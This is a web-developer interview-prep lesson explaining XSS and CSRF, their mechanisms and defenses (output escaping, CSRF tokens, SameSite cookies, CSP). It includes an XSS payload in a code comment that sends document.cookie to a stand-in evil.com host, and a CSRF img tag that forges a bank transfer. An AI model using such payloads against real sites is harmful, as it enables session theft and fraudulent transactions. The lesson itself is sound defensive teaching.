Lesson 21 of 30

XSS & CSRF

Q: Explain XSS and CSRF, how each actually works, and how you'd defend against each.

A strong answer covers: XSS: attacker's script runs inside your page, typically via unescaped/injected content — defend by escaping output and avoiding dangerouslySetInnerHTML with untrusted input; CSRF: a malicious site triggers a request to your site using the user's already-authenticated cookies, sent automatically by the browser; CSRF defense: CSRF tokens and/or SameSite cookie attribute, not merely checking the cookie's presence.

Two classic web attacks with opposite mechanisms — one injects a malicious script into your page, the other tricks a browser into sending a legitimate, authenticated request the user never meant to make.

14 min read

Check your understanding

Every option explains itself — why the right one is right, and why each wrong one is wrong. Miss one and it comes back later on a spaced-repetition schedule.

Question 1 of 2

Why does React's plain `{comment.text}` protect against XSS while `dangerouslySetInnerHTML={{ __html: comment.text }}` does not?

Plain interpolation auto-escapes content as text; dangerouslySetInnerHTML deliberately renders it as raw, executable HTMLBoth are equally safe — the name is just a naming convention with no real behavior differencedangerouslySetInnerHTML only affects CSS styling, not script execution

Stuck? Ask the AI tutor

Hints without spoilers, and a plain explanation of why a wrong answer was wrong — answered only from this lesson. Free account, no card.

Interview questions on XSS & CSRF

What interviewers actually ask about this, and what a strong answer has to cover.

Explain XSS and CSRF, how each actually works, and how you'd defend against each.

A strong answer covers

XSS: attacker's script runs inside your page, typically via unescaped/injected content — defend by escaping output and avoiding dangerouslySetInnerHTML with untrusted input
CSRF: a malicious site triggers a request to your site using the user's already-authenticated cookies, sent automatically by the browser
CSRF defense: CSRF tokens and/or SameSite cookie attribute, not merely checking the cookie's presence

Likely follow-ups

Why doesn't checking for the session cookie's presence defend against CSRF?
What does the SameSite cookie attribute actually do, and what's the difference between Strict and Lax?
How does a Content-Security-Policy add defense-in-depth against XSS specifically?

Practice these with the AI interviewer →

The plain-language idea

XSS (Cross-Site Scripting): an attacker gets their own JavaScript to run inside your page, usually by injecting it into content that later gets rendered as HTML.

// ❌ dangerous — comment content rendered as raw HTML
<div dangerouslySetInnerHTML={{ __html: comment.text }} />
// if comment.text is "<img src=x onerror=fetch('evil.com?cookie='+document.cookie)>",
// that script actually runs, in your page, with your user's session

React escapes plain {comment.text} automatically — dangerouslySetInnerHTML is a deliberately-named escape hatch specifically because it disables that protection.

CSRF (Cross-Site Request Forgery): a malicious site tricks the user's browser into sending a request to your site, using the user's already-logged-in session (cookies are sent automatically to whatever domain they belong to, regardless of which page's JavaScript triggered the request):

<!-- on evil.com -->
<img src="https://yourbank.com/transfer?to=attacker&amount=1000">
<!-- the browser sends this GET request WITH your yourbank.com cookies attached -->

XSS vs CSRF: whose trust gets abusedStep 1 of 3

XSS: an attacker gets THEIR script to run on YOUR page — e.g. via unescaped user input rendered as HTML.

What people usually miss

Watch out

The real fix for CSRF isn't "check the cookie exists" — the cookie is exactly what gets sent automatically either way. A CSRF token (a random value the legitimate page embeds and sends back explicitly, that an attacker's page has no way to know) or checking the SameSite cookie attribute are the actual defenses.
SameSite=Strict/Lax cookies are a major modern CSRF mitigation — they tell the browser not to send the cookie on cross-site requests at all, closing much of this attack surface without needing a token system, though Lax (the modern default) still allows some cross-site navigation cases.
A Content-Security-Policy (the next lesson) is a major defense-in-depth layer against XSS — even if malicious content sneaks into the page, a strict CSP can prevent injected inline scripts from executing at all.

Why this matters in interviews

"Explain XSS and CSRF, and how you'd defend against each" is a standard security-fundamentals question — the strong answer names the actual mechanism each attack exploits (code injection vs. automatic cookie-sending) and the specific, correct defense for each, not a generic "sanitize your inputs."